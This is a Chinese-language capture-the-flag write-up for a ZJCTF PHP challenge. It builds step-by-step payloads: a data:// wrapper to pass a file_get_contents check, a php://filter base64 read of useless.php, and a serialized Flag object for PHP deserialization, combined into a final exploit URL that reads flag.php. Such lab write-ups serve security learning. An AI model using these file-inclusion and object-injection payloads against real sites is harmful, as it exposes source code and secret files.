进入靶场 查看源码
我们需要用get方法上传三个参数 text,file,password
首先text不能为空,file_get_contents($text,'r')==="welcome to the zjctf",从text中读取数据需要等于welcome to the zjctf。这里需要用到伪协议data://
构建第一个payload?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
或者?text=data://text/plain,welcome to the zjctf
第二个file,由于有正则匹配,我们不能直接查看flag.php,如果直接查看,我们就进入不了password反序列化,源码提示我们useless
用php://filter查看useless中的内容
第二个payload?file=php://filter/read=convert.base64-encode/resource=useless.php
得到一段base64编码
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=
解码后发现是源码后,我们将$file赋值为flag.php再进行反序列化
得到反序列化后结果O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
得到最终payload?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源码后发现flag
知识点
php伪协议的运用
data://
1.data://text/plain,
2.data://text/plain;base64,
3.php://filter/read=convert.base64-encode/resource=